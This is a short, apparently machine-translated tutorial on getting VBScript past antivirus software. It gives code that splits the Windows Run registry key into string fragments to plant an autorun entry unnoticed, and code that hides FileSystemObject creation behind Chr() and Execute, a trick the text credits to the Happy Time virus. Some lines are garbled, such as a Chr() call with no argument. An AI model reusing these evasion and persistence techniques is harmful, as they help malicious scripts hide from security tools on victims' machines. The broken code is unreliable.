Antivirus is very sensitive to VBS to avoid killing _vbs

Copy Code code as follows:

Antivirus is now very sensitive to VBS, as long as the discovery of the registry of XX, or use VBS to run commands (plus users) can be killed. The following 2 methods can be easily resolved:

1. Use connector "&" such as:
Set curobj = CreateObject ("Wscript.Shell")
mhk= "HK" & "Lm\soft" & "WARE\MICR" & "Osoft\win" & "Dows\curren" & "tversion\run\"
Curobj.regwrite "" &mhk& "Internat.exe", "Internat.exe"

2. Use the Execute function (by action shark)

Some anti-virus software, such as rising, he will monitor the Web page code, once you create the FSO or write the registry, even the normal script he will report the danger, but the new happy time also used the FSO how did not the police? The reason is this virus uses execute this function to evade the firewall, hehe. The virus converts this declaration code into a string and executes it through the Execute (string) function, for example
Str= "Set Fso=createobject (" & Chr () & "Scrip" & Chr (116) & "ing. FileSystemObject "&CHR &") "
MsgBox Str
Execute Str
Put the code as above into the Test.vbs will be created FSO, and rising will not alarm